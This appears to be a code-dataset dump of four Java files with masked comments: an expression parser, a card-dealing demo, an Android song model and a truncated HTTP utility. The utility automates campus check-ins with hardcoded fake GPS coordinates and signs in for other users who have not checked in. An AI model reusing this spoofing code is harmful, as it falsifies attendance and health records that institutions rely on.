| DuBin1988/expression | src/main/java/com/af/expression/Program.java | 6,547 | // 单个结果项=逻辑运算 (and|or 逻辑运算)* | !表达式
| line_comment | zh-cn | package com.af.expression;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
import java.util.Stack;
public class Program {
// 源程序
public String Source;
// Token队列,用于回退
private Queue<Token> _tokens = new LinkedList<Token>();
// 当前获取到的字符位置
private int pos;
// 当前是否在字符串处理环节
private boolean inString;
// 字符串处理环节堆栈,$进入字符串处理环节,“{}”中间部分脱离字符串处理环节
private Stack<Boolean> inStrings = new Stack<Boolean>();
public Program(String source) {
String str = source.replaceAll("//[^\n]*", "");
this.Source = str;
}
// 调用解析过程
public Delegate parse() {
Expression result = CommaExp();
Delegate delegate = result.Compile();
return delegate;
}
// 逗号表达式=赋值表达式(,赋值表达式)*
private Expression CommaExp() {
List<Expression> exps = new ArrayList<Expression>();
Expression first = AssignExp();
exps.add(first);
Token t = GetToken();
// 没有结束
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
Expression r = AssignExp();
exps.add(r);
t = GetToken();
}
this._tokens.offer(t);
Expression result = Expression.Comma(exps, Source, pos);
return result;
}
// 赋值表达式=对象属性=一般表达式|一般表达式
private Expression AssignExp() {
Token t = GetToken();
// 把第一个Token的位置记录下来,方便后面回退
int firstPos = t.StartPos;
if (t.Type != TokenType.Identy) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
Expression objExp = Expression.Identy((String) t.Value, Source, pos);
objExp = ObjectPath(objExp);
// 只能给对象属性或者变量赋值
if (objExp.type != ExpressionType.Property
&& objExp.type != ExpressionType.Identy) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals("=")) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
Expression exp = Exp();
// 如果是属性赋值
if (objExp.type == ExpressionType.Property) {
// 从属性Expression中获取对象及属性名
String name = (String) objExp.value;
objExp = objExp.children.get(0);
Expression assign = Expression.Assign(objExp, exp, name, Source,
pos);
return assign;
} else if (objExp.type == ExpressionType.Identy) {
// 变量赋值
Expression assign = Expression.Assign(null, exp,
objExp.value.toString(), Source, pos);
return assign;
}
throw new RuntimeException(GetExceptionMessage("只能给属性或者变量赋值!"));
}
// 表达式=条件:结果(,条件:结果)(,结果)?|结果
// 条件=单个结果
private Expression Exp() {
Expression v = Logic();
// 是':',表示条件,否则直接返回单结果
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(":")) {
// 第一项转换
Expression result = Logic();
// 下一个是",",继续读取下一个条件结果串,由于是右结合,只能采用递归
t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(",")) {
// 第二项转换
Expression sExp = Exp();
// 返回
return Expression.Condition(v, result, sExp, Source, pos);
} else {
throw new RuntimeException(GetExceptionMessage("必须有默认值!"));
}
} else {
_tokens.offer(t);
return v;
}
}
// 单个 <SUF>
private Expression Logic() {
Token t = GetToken();
// !表达式
if (t.Type == TokenType.Oper && t.Value.equals("!")) {
Expression exp = Logic();
exp = Expression.Not(exp, Source, pos);
return exp;
}
_tokens.offer(t);
Expression v = Compare();
t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("&&") || t.Value.equals("||"))) {
// 第二项转换
Expression exp = Logic();
// 执行
if (t.Value.equals("&&")) {
v = Expression.And(v, exp, Source, pos);
} else {
v = Expression.Or(v, exp, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 逻辑运算=数字表达式 (比较运算符 数字表达式)?
private Expression Compare() {
Expression left = Math();
Token t = GetToken();
if (t.Type == TokenType.Oper
&& (t.Value.equals(">") || t.Value.equals(">=")
|| t.Value.equals("<") || t.Value.equals("<="))) {
Expression rExp = Math();
if (t.Value.equals(">"))
return Expression.GreaterThan(left, rExp, Source, pos);
if (t.Value.equals(">="))
return Expression.GreaterThanOrEqual(left, rExp, Source, pos);
if (t.Value.equals("<"))
return Expression.LessThan(left, rExp, Source, pos);
if (t.Value.equals("<="))
return Expression.LessThanOrEqual(left, rExp, Source, pos);
} else if (t.Type == TokenType.Oper
&& (t.Value.equals("==") || t.Value.equals("!="))) {
Expression rExp = Math();
// 相等比较
if (t.Value.equals("==")) {
return Expression.Equal(left, rExp, Source, pos);
}
if (t.Value.equals("!=")) {
return Expression.NotEqual(left, rExp, Source, pos);
}
}
// 返回当个表达式结果
_tokens.offer(t);
return left;
}
// 单个结果项=乘除项 (+|-) 乘除项
private Expression Math() {
Expression v = Mul();
Token t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("+") || t.Value.equals("-"))) {
// 转换操作数2为数字
Expression r = Mul();
// 开始运算
if (t.Value.equals("+")) {
v = Expression.Add(v, r, Source, pos);
} else {
v = Expression.Subtract(v, r, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 乘除项=项 (*|/ 项)
private Expression Mul() {
Expression v = UnarySub();
Token t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("*") || t.Value.equals("/") || t.Value
.equals("%"))) {
// 转换第二个为数字型
Expression r = UnarySub();
// 开始运算
if (t.Value.equals("*")) {
v = Expression.Multiply(v, r, Source, pos);
} else if (t.Value.equals("/")) {
v = Expression.Divide(v, r, Source, pos);
} else {
v = Expression.Modulo(v, r, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 单目运算符
private Expression UnarySub() {
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals("-")) {
Expression r = Item();
return Expression.Subtract(Expression.Constant(0, Source, pos), r,
Source, pos);
}
_tokens.offer(t);
return Item();
}
// 项=对象(.对象路径)*
private Expression Item() {
StringBuilder objName = new StringBuilder();
// 获取对象表达式
Expression objExp = ItemHead(objName);
// 获取对象路径表达式
objExp = ObjectPath(objExp);
return objExp;
}
// 对象=(表达式)|常数|标识符|绑定序列|字符串拼接序列,
// 对象解析过程中,如果是标识符,则要返回找到的对象
private Expression ItemHead(StringBuilder name) {
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals("(")) {
Expression result = CommaExp();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("括号不匹配"));
}
return result;
} else if (t.Type == TokenType.Oper && t.Value.equals("{")) {
// json对象
return Json();
} else if (t.Type == TokenType.Oper && t.Value.equals("$")) {
// 字符串拼接序列
Expression strExp = StringUnion();
return strExp;
} else if (t.Type == TokenType.Int || t.Type == TokenType.Double
|| t.Type == TokenType.Bool) {
return Expression.Constant(t.Value, Source, pos);
} else if (t.Type == TokenType.Identy) {
String objName = (String) t.Value;
// 把对象名返回
name.append(objName);
// 对象名处理
return ObjectName(objName);
} else if (t.Type == TokenType.Null) {
return Expression.Constant(null, Source, pos);
}
throw new RuntimeException(GetExceptionMessage("单词类型错误," + t));
}
// JSON对象::={}|{属性名:属性值,属性名:属性值}
private Expression Json() {
List<Expression> children = new LinkedList<Expression>();
Token t = GetToken();
// 空对象,直接返回
if (t.Type == TokenType.Oper && t.Value.equals("}")) {
return Expression.Json(children, Source, pos);
}
_tokens.offer(t);
children.add(Attr());
t = GetToken();
// 如果是"," 继续看下一个属性
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
children.add(Attr());
t = GetToken();
}
if (t.Type != TokenType.Oper || !t.Value.equals("}")) {
throw new RuntimeException(GetExceptionMessage("必须是'}'"));
}
return Expression.Json(children, Source, pos);
}
// 属性值对::=属性名: 属性值
private Expression Attr() {
Token name = GetToken();
if (name.Type != TokenType.Identy) {
throw new RuntimeException(GetExceptionMessage("JSON对象必须是属性名"));
}
Token t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(":")) {
throw new RuntimeException(GetExceptionMessage("必须是':'"));
}
Expression exp = Exp();
return Expression.Attr(name.Value.toString(), exp, Source, pos);
}
// 对字符串拼接序列进行解析
private Expression StringUnion() {
// 字符串连接方法
Expression exp = Expression.Constant("", Source, pos);
Token t = GetToken();
// 是对象序列
while ((t.Type == TokenType.Oper && t.Value.equals("{"))
|| t.Type == TokenType.String) {
// 字符串,返回字符串连接结果
if (t.Type == TokenType.String) {
exp = Expression.Concat(exp,
Expression.Constant(t.Value, Source, pos), Source, pos);
} else {
// 按表达式调用{}里面的内容
Expression objExp = Exp();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals("}")) {
throw new RuntimeException(GetExceptionMessage("缺少'}'"));
}
// 字符串连接
exp = Expression.Concat(exp, objExp, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return exp;
}
// 根据名称获取对象以及对象表达式
private Expression ObjectName(String objName) {
Expression objExp = Expression.Identy(objName, Source, pos);
return objExp;
}
private Expression ObjectPath(Expression inExp) {
// 调用条件过滤解析,转换出条件过滤结果
Expression objExp = ArrayIndex(inExp);
Token t = GetToken();
while (t.Type == TokenType.Oper && t.Value.equals(".")) {
// 获取对象成员
Token nameToken = GetToken();
// 继续看是否方法调用,如果是方法调用,执行方法调用过程
Token n = GetToken();
if (n.Type == TokenType.Oper && n.Value.equals("(")) {
String name = (String) nameToken.Value;
// each方法当循环使用
if(name.equals("each")) {
objExp = For(name, objExp);
} else {
objExp = MethodCall(name, objExp);
}
} else {
_tokens.offer(n);
// 取属性
String pi = (String) nameToken.Value;
objExp = Expression.Property(objExp, pi, Source, pos);
// 调用条件过滤解析,产生条件过滤结果
objExp = ArrayIndex(objExp);
}
t = GetToken();
}
_tokens.offer(t);
return objExp;
}
// 数组下标=属性名([条件])?
private Expression ArrayIndex(Expression objExp) {
Token n = GetToken();
// 是数组下标
if (n.Type == TokenType.Oper && n.Value.equals("[")) {
Expression exp = Exp();
// 读掉']'
n = GetToken();
if (n.Type != TokenType.Oper || !n.Value.equals("]")) {
throw new RuntimeException(GetExceptionMessage("缺少']'"));
}
// 产生数组下标节点
Expression result = Expression.ArrayIndex(objExp, exp, Source, pos);
return result;
}
_tokens.offer(n);
return objExp;
}
// For循环
private Expression For(String name, Expression obj) {
// 产生完整的逗号表达式
Expression exp = this.CommaExp();
Token t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配"));
}
Expression result = Expression.For(obj, exp, Source, pos);
return result;
}
// 函数调用
private Expression MethodCall(String name, Expression obj) {
// 如果是")",调用无参函数处理
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(")")) {
List<Expression> ps = new ArrayList<Expression>();
Expression result = Expression.Call(obj, name, ps, Source, pos);
return result;
}
_tokens.offer(t);
List<Expression> ps = Params();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配"));
}
Expression result = Expression.Call(obj, name, ps, Source, pos);
return result;
}
// 函数参数列表
private List<Expression> Params() {
List<Expression> ps = new ArrayList<Expression>();
Expression exp = Exp();
// 如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。
procParam(ps, exp);
Token t = GetToken();
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
exp = Exp();
procParam(ps, exp);
t = GetToken();
}
_tokens.offer(t);
return ps;
}
// 处理参数,如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。
private void procParam(List<Expression> ps, Expression exp) {
Delegate delegate = exp.Compile();
if (delegate.objectNames.containsKey("data")) {
ps.add(Expression.Constant(delegate, Source, pos));
} else {
ps.add(exp);
}
}
// 获取异常信息输出
private String GetExceptionMessage(String msg) {
// 对出错的语句位置进行处理
String result = Source.substring(0, pos) + " <- "
+ Source.substring(pos, Source.length());
return msg + ", " + result;
}
// 获取单词
public Token GetToken() {
// 如果队列里有,直接取上次保存的
if (_tokens.size() != 0) {
Token result = _tokens.poll();
return result;
}
// 记录单词的起始位置,包括空格等内容
int sPos = pos;
// 如果直接是'{',保存上一个状态,当前状态改为非字符状态
if (pos < Source.length() && Source.charAt(pos) == '{') {
inStrings.push(inString);
inString = false;
// 返回'{'单词
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
// 如果是字符串处理状态,把除过特殊字符的所有字符全部给字符串
if (inString) {
int startPos = pos;
// 在特殊情况下,字符串要使用$结束
while (pos < Source.length() && Source.charAt(pos) != '{'
&& Source.charAt(pos) != '$' && Source.charAt(pos) != '}') {
pos++;
}
// 不是'{',退出字符串处理环节,回到上一环节。'{'会在下次进入时,保存当前状态
if (!(pos < Source.length() && Source.charAt(pos) == '{')) {
inString = inStrings.pop();
}
Token t = new Token(TokenType.String, Source.substring(startPos,
pos), sPos);
// 如果是采用$让字符串结束了,要把$读去
if (pos < Source.length() && Source.charAt(pos) == '$')
pos++;
return t;
}
// 读去所有空白以及注释
while (
// 普通空白
(pos < Source.length() && (Source.charAt(pos) == ' '
|| Source.charAt(pos) == '\n' || Source.charAt(pos) == '\t'))
||
// 是注释
(pos < Source.length() - 2 && Source.charAt(pos) == '/' && Source
.charAt(pos + 1) == '/')) {
// 普通空白
if (pos < Source.length()
&& (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source
.charAt(pos) == '\t')) {
pos++;
} else {
// 注释
pos += 2;
while (pos < Source.length() && Source.charAt(pos) != '\n') {
pos++;
}
// 读掉行尾
pos++;
}
}
// 如果完了,返回结束
if (pos == Source.length()) {
return new Token(TokenType.End, null, sPos);
}
// 如果是数字,循环获取直到非数字为止
if (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') {
int oldPos = pos;
while (pos < Source.length() && Source.charAt(pos) >= '0'
&& Source.charAt(pos) <= '9') {
pos++;
}
// 如果后面是".",按double数字对待,否则按整形数返回
if (pos < Source.length() && Source.charAt(pos) == '.') {
pos++;
while (pos < Source.length() && Source.charAt(pos) >= '0'
&& Source.charAt(pos) <= '9') {
pos++;
}
String str = Source.substring(oldPos, pos);
return new Token(TokenType.Double, new BigDecimal(str),
sPos);
} else {
String str = Source.substring(oldPos, pos);
return new Token(TokenType.Int, Integer.parseInt(str), sPos);
}
}
// 如果是字符,按标识符对待
else if ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z')
|| (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z')
|| Source.charAt(pos) == '_') {
int oldPos = pos;
while (pos < Source.length()
&& ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z')
|| (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z')
|| (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') || Source
.charAt(pos) == '_')) {
pos++;
}
String str = Source.substring(oldPos, pos);
// 是bool常量
if (str.equals("false") || str.equals("true")) {
return new Token(TokenType.Bool, Boolean.parseBoolean(str),
sPos);
}
if (str == "null") {
return new Token(TokenType.Null, null, sPos);
}
return new Token(TokenType.Identy, str, sPos);
}
// && 及 ||
else if ((Source.charAt(pos) == '&' && Source.charAt(pos + 1) == '&')
|| (Source.charAt(pos) == '|' && Source.charAt(pos + 1) == '|')) {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
}
// +、-、*、/、>、<、!等后面可以带=的处理
else if (Source.charAt(pos) == '+' || Source.charAt(pos) == '-'
|| Source.charAt(pos) == '*' || Source.charAt(pos) == '/'
|| Source.charAt(pos) == '%' || Source.charAt(pos) == '>'
|| Source.charAt(pos) == '<' || Source.charAt(pos) == '!') {
// 后面继续是'=',返回双操作符,否则,返回单操作符
if (pos < Source.length() && Source.charAt(pos + 1) == '=') {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
} else {
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
}
// =号开始有三种,=本身,==,=>
else if (Source.charAt(pos) == '=') {
if (pos < Source.length()
&& (Source.charAt(pos + 1) == '=' || Source.charAt(pos + 1) == '>')) {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
} else {
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
}
// 单个操作符
else if (Source.charAt(pos) == '(' || Source.charAt(pos) == ')'
|| Source.charAt(pos) == ',' || Source.charAt(pos) == ';'
|| Source.charAt(pos) == '.' || Source.charAt(pos) == ':'
|| Source.charAt(pos) == '@' || Source.charAt(pos) == '$'
|| Source.charAt(pos) == '{' || Source.charAt(pos) == '}'
|| Source.charAt(pos) == '[' || Source.charAt(pos) == ']') {
// 进入字符串处理环节,保留原来状态
if (Source.charAt(pos) == '$') {
inStrings.push(inString);
inString = true;
}
// 碰到'{',保存当前模式
if (Source.charAt(pos) == '{' && inStrings.size() != 0) {
inStrings.push(inString);
inString = false;
}
// 碰到'}',返回前面模式。
if (Source.charAt(pos) == '}' && inStrings.size() != 0) {
inString = inStrings.pop();
}
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
} else {
throw new RuntimeException(GetExceptionMessage("无效单词:"
+ Source.charAt(pos)));
}
}
}
| 1 | 36 | 1 |
669_2 | package cn.itcast_03;
import java.util.ArrayList;
import java.util.Collections;
/*
* 模拟斗地主洗牌和发牌
*
* 扑克牌:54
* 小王
* 大王
* 黑桃A,黑桃2,黑桃3,黑桃4,黑桃...,黑桃10,黑桃J,黑桃Q,黑桃K
* 红桃...
* 梅花...
* 方块...
*
* 分析:
* A:造一个牌盒(集合)
* B:造每一张牌,然后存储到牌盒里面去
* C:洗牌
* D:发牌
* E:看牌
*/
public class PokerDemo {
public static void main(String[] args) {
// 造一个牌盒(集合)
ArrayList<String> array = new ArrayList<String>();
// 造每一张牌,然后存储到牌盒里面去
// 定义花色数组
String[] colors = { "♠", "♥", "♣", "♦" };
// 定义点数数组
String[] numbers = { "A", "2", "3", "4", "5", "6", "7", "8", "9", "10",
"J", "Q", "K" };
for (String color : colors) {
for (String number : numbers) {
array.add(color.concat(number));
}
}
array.add("小王");
array.add("大王");
// 看牌
// System.out.println(array);
// 洗牌
Collections.shuffle(array);
// 发牌
// 三个选手
ArrayList<String> linQingXia = new ArrayList<String>();
ArrayList<String> fengQingYang = new ArrayList<String>();
ArrayList<String> liuYi = new ArrayList<String>();
// 底牌
ArrayList<String> diPai = new ArrayList<String>();
for (int x = 0; x < array.size(); x++) {
if (x >= array.size() - 3) {
diPai.add(array.get(x));
} else if (x % 3 == 0) {
linQingXia.add(array.get(x));
} else if (x % 3 == 1) {
fengQingYang.add(array.get(x));
} else if (x % 3 == 2) {
liuYi.add(array.get(x));
}
}
// 看牌
lookPoker("林青霞", linQingXia);
lookPoker("风清扬", fengQingYang);
lookPoker("刘意", liuYi);
lookPoker("底牌", diPai);
}
// 写一个功能实现遍历
public static void lookPoker(String name, ArrayList<String> array) {
System.out.print(name + "的牌是:");
for (String s : array) {
System.out.print(s + " ");
}
System.out.println();
}
}
| DuGuQiuBai/Java | day18/code/day18_Collections/src/cn/itcast_03/PokerDemo.java | 813 | // 造每一张牌,然后存储到牌盒里面去 | line_comment | zh-cn | package cn.itcast_03;
import java.util.ArrayList;
import java.util.Collections;
/*
* 模拟斗地主洗牌和发牌
*
* 扑克牌:54
* 小王
* 大王
* 黑桃A,黑桃2,黑桃3,黑桃4,黑桃...,黑桃10,黑桃J,黑桃Q,黑桃K
* 红桃...
* 梅花...
* 方块...
*
* 分析:
* A:造一个牌盒(集合)
* B:造每一张牌,然后存储到牌盒里面去
* C:洗牌
* D:发牌
* E:看牌
*/
public class PokerDemo {
public static void main(String[] args) {
// 造一个牌盒(集合)
ArrayList<String> array = new ArrayList<String>();
// 造每 <SUF>
// 定义花色数组
String[] colors = { "♠", "♥", "♣", "♦" };
// 定义点数数组
String[] numbers = { "A", "2", "3", "4", "5", "6", "7", "8", "9", "10",
"J", "Q", "K" };
for (String color : colors) {
for (String number : numbers) {
array.add(color.concat(number));
}
}
array.add("小王");
array.add("大王");
// 看牌
// System.out.println(array);
// 洗牌
Collections.shuffle(array);
// 发牌
// 三个选手
ArrayList<String> linQingXia = new ArrayList<String>();
ArrayList<String> fengQingYang = new ArrayList<String>();
ArrayList<String> liuYi = new ArrayList<String>();
// 底牌
ArrayList<String> diPai = new ArrayList<String>();
for (int x = 0; x < array.size(); x++) {
if (x >= array.size() - 3) {
diPai.add(array.get(x));
} else if (x % 3 == 0) {
linQingXia.add(array.get(x));
} else if (x % 3 == 1) {
fengQingYang.add(array.get(x));
} else if (x % 3 == 2) {
liuYi.add(array.get(x));
}
}
// 看牌
lookPoker("林青霞", linQingXia);
lookPoker("风清扬", fengQingYang);
lookPoker("刘意", liuYi);
lookPoker("底牌", diPai);
}
// 写一个功能实现遍历
public static void lookPoker(String name, ArrayList<String> array) {
System.out.print(name + "的牌是:");
for (String s : array) {
System.out.print(s + " ");
}
System.out.println();
}
}
| 1 | 19 | 1 |
51009_11 | package com.duan.musicoco.modle;
import android.provider.MediaStore;
/**
* Created by DuanJiaNing on 2017/5/24.
*/
final public class SongInfo implements MediaStore.Audio.AudioColumns {
//用于搜索、排序、分类
private String title_key;
private String artist_key;
private String album_key;
private int id;
//时间 ms
private long duration;
//艺术家
private String artist;
//所属专辑
private String album;
//专辑 ID
private String album_id;
//专辑图片路径
private String album_path;
//专辑录制时间
private long year;
//磁盘上的保存路径
//与服务端的 path 域对应,对于同一首歌曲(文件路径相同),两者应该相同
private String data;
//文件大小 bytes
private long size;
//显示的名字
private String display_name;
//内容标题
private String title;
//文件被加入媒体库的时间
private long date_added;
//文件最后修改时间
private long date_modified;
//MIME type
private String mime_type;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SongInfo songInfo = (SongInfo) o;
return data.equals(songInfo.data);
}
@Override
public int hashCode() {
return data.hashCode();
}
public void setAlbum_id(String album_id) {
this.album_id = album_id;
}
public void setAlbum_path(String album_path) {
this.album_path = album_path;
}
public void setTitle_key(String title_key) {
this.title_key = title_key;
}
public void setArtist_key(String artist_key) {
this.artist_key = artist_key;
}
public void setAlbum_key(String album_key) {
this.album_key = album_key;
}
public void setArtist(String artist) {
this.artist = artist;
}
public void setAlbum(String album) {
this.album = album;
}
public void setData(String data) {
this.data = data;
}
public void setDisplay_name(String display_name) {
this.display_name = display_name;
}
public void setTitle(String title) {
this.title = title;
}
public void setMime_type(String mime_type) {
this.mime_type = mime_type;
}
public void setYear(long year) {
this.year = year;
}
public void setDuration(long duration) {
this.duration = duration;
}
public void setSize(long size) {
this.size = size;
}
public void setDate_added(long date_added) {
this.date_added = date_added;
}
public void setDate_modified(long date_modified) {
this.date_modified = date_modified;
}
public String getTitle_key() {
return title_key;
}
public String getArtist_key() {
return artist_key;
}
public String getAlbum_key() {
return album_key;
}
public long getDuration() {
return duration;
}
public String getArtist() {
return artist;
}
public String getAlbum() {
return album;
}
public long getYear() {
return year;
}
public String getData() {
return data;
}
public long getSize() {
return size;
}
public String getDisplay_name() {
return display_name;
}
public String getTitle() {
return title;
}
public long getDate_added() {
return date_added;
}
public long getDate_modified() {
return date_modified;
}
public String getMime_type() {
return mime_type;
}
public String getAlbum_id() {
return album_id;
}
public String getAlbum_path() {
return album_path;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
}
| DuanJiaNing/Musicoco | app/src/main/java/com/duan/musicoco/modle/SongInfo.java | 1,007 | //显示的名字 | line_comment | zh-cn | package com.duan.musicoco.modle;
import android.provider.MediaStore;
/**
* Created by DuanJiaNing on 2017/5/24.
*/
final public class SongInfo implements MediaStore.Audio.AudioColumns {
//用于搜索、排序、分类
private String title_key;
private String artist_key;
private String album_key;
private int id;
//时间 ms
private long duration;
//艺术家
private String artist;
//所属专辑
private String album;
//专辑 ID
private String album_id;
//专辑图片路径
private String album_path;
//专辑录制时间
private long year;
//磁盘上的保存路径
//与服务端的 path 域对应,对于同一首歌曲(文件路径相同),两者应该相同
private String data;
//文件大小 bytes
private long size;
//显示 <SUF>
private String display_name;
//内容标题
private String title;
//文件被加入媒体库的时间
private long date_added;
//文件最后修改时间
private long date_modified;
//MIME type
private String mime_type;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SongInfo songInfo = (SongInfo) o;
return data.equals(songInfo.data);
}
@Override
public int hashCode() {
return data.hashCode();
}
public void setAlbum_id(String album_id) {
this.album_id = album_id;
}
public void setAlbum_path(String album_path) {
this.album_path = album_path;
}
public void setTitle_key(String title_key) {
this.title_key = title_key;
}
public void setArtist_key(String artist_key) {
this.artist_key = artist_key;
}
public void setAlbum_key(String album_key) {
this.album_key = album_key;
}
public void setArtist(String artist) {
this.artist = artist;
}
public void setAlbum(String album) {
this.album = album;
}
public void setData(String data) {
this.data = data;
}
public void setDisplay_name(String display_name) {
this.display_name = display_name;
}
public void setTitle(String title) {
this.title = title;
}
public void setMime_type(String mime_type) {
this.mime_type = mime_type;
}
public void setYear(long year) {
this.year = year;
}
public void setDuration(long duration) {
this.duration = duration;
}
public void setSize(long size) {
this.size = size;
}
public void setDate_added(long date_added) {
this.date_added = date_added;
}
public void setDate_modified(long date_modified) {
this.date_modified = date_modified;
}
public String getTitle_key() {
return title_key;
}
public String getArtist_key() {
return artist_key;
}
public String getAlbum_key() {
return album_key;
}
public long getDuration() {
return duration;
}
public String getArtist() {
return artist;
}
public String getAlbum() {
return album;
}
public long getYear() {
return year;
}
public String getData() {
return data;
}
public long getSize() {
return size;
}
public String getDisplay_name() {
return display_name;
}
public String getTitle() {
return title;
}
public long getDate_added() {
return date_added;
}
public long getDate_modified() {
return date_modified;
}
public String getMime_type() {
return mime_type;
}
public String getAlbum_id() {
return album_id;
}
public String getAlbum_path() {
return album_path;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
}
| 1 | 7 | 1 |
11959_6 | package com.fuckwzxy.util;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.json.JSONArray;
import cn.hutool.json.JSONObject;
import cn.hutool.json.JSONUtil;
import com.fuckwzxy.bean.ApiInfo;
import com.fuckwzxy.bean.SignMessage;
import com.fuckwzxy.bean.UserInfo;
import com.fuckwzxy.common.ApiConstant;
import lombok.extern.slf4j.Slf4j;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;
import javax.sound.midi.Soundbank;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* @author wzh
* 2020/9/23 19:15
*/
@Component
@Slf4j
public class SendUtil {
@Async
public void sendCheckRequest(UserInfo userInfo, ApiInfo apiInfo, int seq) {
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
request.body(apiInfo.getBody().replace("seq=3", "seq=" + seq));
//return body
request.execute();
}
/**
* 获取签到的id和logId
*
* @param userInfo user
* @param getSignMessageApiInfo 接口
*/
public SignMessage getSignMessage(UserInfo userInfo, ApiInfo getSignMessageApiInfo) {
HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo);
//参数
request.form("page", 1);
request.form("size", 5);
//得到返回的JSON并解析
String body = request.execute().body();
JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(0);
return new SignMessage((String) data.getObj("id"), (String) data.get("logId"));
}
@Async
public void sendSignRequest(UserInfo userInfo, ApiInfo signApiInfo, SignMessage signMessage) {
HttpRequest request = createHttpRequest(signApiInfo,userInfo);
//JSON data
JSONObject data = new JSONObject();
data.set("id", signMessage.getLogId());
data.set("signId", signMessage.getId());
data.set("latitude", "23.090164");
data.set("longitude", "113.354053");
data.set("country", "中国");
data.set("province", "广东省");
data.set("district", "海珠区");
data.set("township", "官洲街道");
data.set("city", "广州市");
request.body(data.toString());
request.execute();
}
public String GetJSON(UserInfo userInfo, ApiInfo getSignMessageApiInfo) {
HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo);
//参数
request.form("page", 1);
request.form("size", 5);
//得到返回的JSON并解析
String body = request.execute().body();
return body;
}
public boolean needCheck(ApiInfo apiInfo,UserInfo userInfo, int seq){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
HttpResponse response = request.execute();
String body = response.body();
if(!JSONUtil.parseObj(body).containsKey("data")) return false;
JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(seq-1);
return Integer.parseInt(data.get("type").toString()) == 0;
}
public List<String> getAllNoSign(ApiInfo apiInfo,UserInfo userInfo, int seq){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
SimpleDateFormat df = new SimpleDateFormat("yyyyMMdd");// 设置日期格式
String date = df.format(new Date());
String httpbody = apiInfo.getBody().replace("seq=3", "seq=" + seq);
httpbody = httpbody.replace("date=20201030","date="+date);
request.body(httpbody);
String body = request.execute().body();
if(!JSONUtil.parseObj(body).containsKey("data") ){
return null;
}else{
List<String> list = new ArrayList<>();
JSONArray arr = (JSONArray) JSONUtil.parseObj(body).get("data");
for (int i = 0; i < arr.size() ; i++) {
JSONObject stu = (JSONObject) arr.get(i);
list.add((String) stu.get("userId"));
}
return list;
}
}
public void replaceSign(ApiInfo apiInfo,UserInfo userInfo, int seq,String userId){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//body
String httpbody = apiInfo.getBody().replace("seq=", "seq=" + seq);
httpbody = httpbody.replace("userId=","userId="+userId);
request.body(httpbody);
//return body
request.execute();
}
public boolean JudgeTokenIsValid(ApiInfo apiInfo,UserInfo userInfo){
HttpRequest request = createHttpRequest(apiInfo,userInfo);
//得到返回的JSON并解析
String body = request.execute().body();
if(JSONUtil.parseObj(body).containsKey("data")) return true;
else return false;
}
/**
